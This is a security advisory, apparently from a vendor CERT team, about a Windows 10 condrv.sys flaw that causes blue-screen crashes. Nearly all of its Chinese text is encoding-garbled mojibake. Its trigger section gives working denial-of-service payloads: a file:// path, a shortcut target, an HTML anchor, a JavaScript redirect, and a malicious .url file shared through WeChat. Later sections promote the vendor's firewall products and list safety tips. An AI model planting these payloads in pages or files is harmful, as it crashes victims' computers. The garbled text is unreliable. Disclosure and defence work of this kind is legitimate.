°ä²¼¹¦·ò£º2021-01-25
½üÈÕ£¬GA»Æ½ð¼×ÍøÂçCERT°²È«Ó¦¼±ÏìÓ¦ÍŶÓ×·×Ùµ½Ò»ÔòWindows 10 condrv.sys´æÔÚÄÚ´æ°Ü»µ·ì϶µÄÐÅÏ¢£¬¸Ã·ì϶ֱ½Óµ¼ÖÂWin10ϵͳÀ¶ÆÁ¡£¸Ã·ì϶ÊÇÓÉÓÚWindows 10ÖÐcondrvÇý¶¯ÉèÖÃÃýÎóµ¼Öµġ£ µ±Chrome »òEdgeä¯ÀÀÆ÷ÔÚ´ò¿ªÌض¨Á´½Óʱ£¬¸ÕºÃŲÓÃÁ˸ÃÇý¶¯µÄÏàÓ¦º¯Êý£¬¶øIEûÓÐŲÓã¬Òò¶øIE²»»áÊÜÓ°Ïì¡£Áí±í£¬¹¥»÷Õß¿ÉÄÜÖ±½Ó»ú¹Ø¶ñÒâ´úÂëÖ±½ÓŲÓôæÔÚ·ì϶µÄº¯Êý£¬ÈôÊÇÓû§µã»÷¾Í»á´¥·¢·ì϶¡¢µ¼ÖÂÀ¶ÆÁ¡£
ÀûÓôó¾Ö
½Ó¼ûÁ´½Ó\\.\globalroot\device\condrv\kernelconnect»á´¥·¢À¶ÆÁ¡£
´¥·¢²½Öè
ÓÃä¯ÀÀÆ÷½Ó¼û£º
file://\\.\globalroot\device\condrv\kernelconnect
ÓÃÒ»¸ö¿ì½Ý·½Ê½Ö¸Ïò£º
\\.\globalroot\device\condrv\kernelconnect
ÍøÒ³¹¥»÷£º
ÀýÈça±êÇ©
<a href="file://\\.\globalroot\device\condrv\kernelconnect"></a>
<script>document.location = '\\\\.\\globalroot\\device\\condrv\\kernelconnect';</script>
ÒÔ¼°JavaScript¾ç±¾¡£
΢ÐÅȺ¶ñÒâÓû§´«²¼ÃûΪtest.urlÎļþ,ÔÚ΢ÐÅ¿ªÆô×Ô¶¯ÏÂÔØÖ°ÄܺóÎļþ±»½Ó¹Üµ¼ÖµçÄÔ¼´À¶ÆÁ
½Ó¼û¸ÃÎļþ¼Ð¼´À¶ÆÁ(urlÎļþ»á×Ô¶¯ÒªÇóÎļþͼ±ê¶ø¼ÓÔØ\\.\gxxx
µã»÷´ò¿ª¼´À¶ÆÁ,ÎļþÄÚĬÈÏURLΪ\\.\gxxx
µçÄÔ΢ÐÅ´ò¿ª¼´À¶ÆÁ,µçÄÔ΢ÐÅĬÈÏʹÓÃÁË΢Ðŵ±Ç°Ä¿Â¼ÏÂwechatweb.exeÎļþ¶ÔWebÄÚÈݽøÐмÓÔØ,¶ø¸ÃexeÖ÷ÌâÔòÊÇÓÉQQä¯ÀÀÆ÷ÑÝ±ä¶øÀ´,¶øQQä¯ÀÀÆ÷ÄÚºËÓÖÊÇѡȡµÄchromeÄÚºË,ËùÒÔ΢ÐŶ˴ò¿ª¼´À¶ÆÁ
Ó°ÏìÁìÓò
ĿǰÊÜÓ°ÏìµÄ²Ù×÷ϵͳ°æ±¾£ºWindows 10.1709¼°ÒÔÉÏϵͳ
´¦Öù滮
¹Ù·½½¨¸´½¨Òé
¸Ã·ì϶µ±Ç°ÔÝÎÞ¹Ù·½½â¾ö¹æ»®¡£
²úÆ·µ±Ç°¹Ù·½ÔÝδ°ä²¼ÊÜÓ°Ïì°æ±¾µÄ¶ÔÓ¦²¹¶¡£¬½¨ÒéÊÜÓ°ÏìµÄÓû§ÊµÊ±¹Ø×¢¸üйٷ½µÄ°²È«²¹¶¡£¨ÊµÊ±¸üÐÂÉý¼¶µ½×îа汾£©¡£Á´½ÓÈçÏ£º
https://www.microsoft.com/zh-cn/software-download/windows10
GA»Æ½ð¼×ÍøÂ罨¸´½¨Òé
|
²úÆ· |
×¢Ã÷ |
|
RG-WALLϵÁÐÏÂÒ»´ú·À»ðǽ |
ÏÂÒ»´ú·À»ðǽ½áºÏ·À²¡¶¾ÒÔ¼°Íþвµý±¨¼ì²â¡£ÔÚ°²È«ÄÜÁ¦ÉÏ£¬²»½öÖ§³ÖNAT¡¢ACL¡¢DDoS·ÀÓùµÈ´«Í³°²È«Ö°ÄÜ£¬Ò²Ö§³Ö·á˶µÄÀûÓü¶°²È«Ö°ÄÜ£¬Ô̺¬²¡¶¾²éɱ¡¢ÈëÇÖ¼ì²â¡¢APP¼ì²â¡¢Îļþ¹ýÂË¡¢¶ñÒâURL¹ýÂ˵ȡ£Ìṩ¶àά¶ÈµÄÀûÓòã¼à¿ØÓë·ÖÎö£¬Ô®ÊÖÓû§°ÑÎÕ·çÏÕ£¬¾«×¼Ô¤¾¯¡£ |
|
RG-IDPϵÁÐÈëÇÖ¼ì²â·ÀÓùϵͳ |
ÊÇGA»Æ½ð¼×ÍøÂçÍÆ³öµÄ½«Éî¶ÈÄÚÈݼì²â¡¢°²È«·À»¤¡¢ÉÏÍøÐÐΪÖÎÀíµÈ¼¼Êõ½áºÏµÄÈëÇÖ¼ì²â·ÀÓùϵͳÉ豸¡£Í¨¹ý¶ÔÍøÂçÖÐÉî²ã¹¥»÷ÐÐΪ½øÐÐÕýÈ·µÄ·ÖÎöÅжϣ¬×Ô¶¯ÓÐЧµÄ±£»¤ÍøÂ簲ȫ¡£¹²Í¬ÊµÊ±¸üеÄÈëÇÖ¹¥»÷ÌØµã¿â£¬¿É¼ì²â·À»¤3500ÖÖÒÔÉϵÄÍøÂç¹¥»÷ÐÐΪ£¬Ô̺¬DoS/DDoS¡¢²¡¶¾¡¢È䳿¡¢½©Ê¬ÍøÂ硢ľÂí¡¢¿ÉÒÉ´úÂ롢̽²âÓëɨÃèµÈ¸÷ÀàÍøÂçÍþв¡£ |
°²È«½¨Òé
²»Òª´ò¿ªÄ°ÉúÍøÒ³£¬ÈôÊDz»ÓÃÒª½¨Òé²»ÈÝJavaScript¡£
²»Òª´ò¿ªÄ°Éú·¨Ê½£¬ÖÕ¶Ë×°Ö÷À»¤Èí¼þ¡£
²»ÒªÇáÒ×ÏÂÔØ×°ÖÃÆðÔ´²»Ã÷µÄÈí¼þ£¬Ô¤·ÀÓÐÈ˶ñÒâÀûÓô˷ì϶Ôì³É»Ø¾ø·þÎñ¹¥»÷¡£
¶Ô²»Ã÷À´ÀúµÄÓʼþ¡¢officeµÈÌá¸ß¾¯Ìè¡£
¾¯Ìè²»Ã÷À´ÀúѹËõÎļþ£¬ÎªÁËÈÃÊܺ¦ÕßÏÂÔØWindows¿ì½Ý·½Ê½(.url)Îļþ¡£¹¥»÷Õß»áͨ¹ýºýŪÓû§ÏÂÔØZIP¹éµµÎļþ£¬²¢½«¶ñÒâ×Ö·û´®°µ²ØÆäÖУ»µ±Óû§½âѹZIPÎļþʱ±ã»á´¥·¢¹¥»÷¡£
ʵʱ±¸·Ý³ÁÒªÎļþ£¬ÒÔÃâÎļþÃÔʧ¡£
ÍŶӽéÉÜ
GA»Æ½ð¼×ÍøÂçCERT°²È«Ó¦¼±ÏìÓ¦ÍŶӣ¬¸ú×Ù×îл¥ÁªÍøÍþвÊÂÎñ£¬Õë¶Ô×îа²È«·ì϶£¬APT¹¥»÷ÒÔ¼°½©Ê¬ÍøÂç¼Ò×å×öʵʱ¸ú×ٺͷÖÎö;Ϊ²úÆ·¡¢¿Í»§Ìṩʵʱ¡¢ÓÐЧµÄ°²È«·À»¤Õ½ÊõÓë½â¾ö¹æ»®¡£

GA»Æ½ð¼×“ÍøÂç+°²È«”Ö÷ÕŽ«ÍøÂçÉ豸µÄ°²È«ÄÜÁ¦³ä·Ö²ûÑï£¬ÍøÂçÉ豸¡¢°²È«É豸Ó밲ȫƽ̨ÖÇÄÜÁª¶¯£¬ÎÕ±ð°²È«¹Âµº£¬×é³ÉÕûÍøÁª¶¯µÄ°²È«±£ÏÕϵͳ£¬ÊµÏÖ·À»¤¡¢°²È«Ô¤²â¡¢·ÖÎöºÍÏìÓ¦µÈ°²È«ÎÊÌâ×Ô¶¯»¯È«Á÷³Ì¹Ø»·¡£

ÈçÄú±ØÒªGA»Æ½ð¼×°²È«£¬ÇëÁôÏÂÄúµÄÁªÏµ·½Ê½
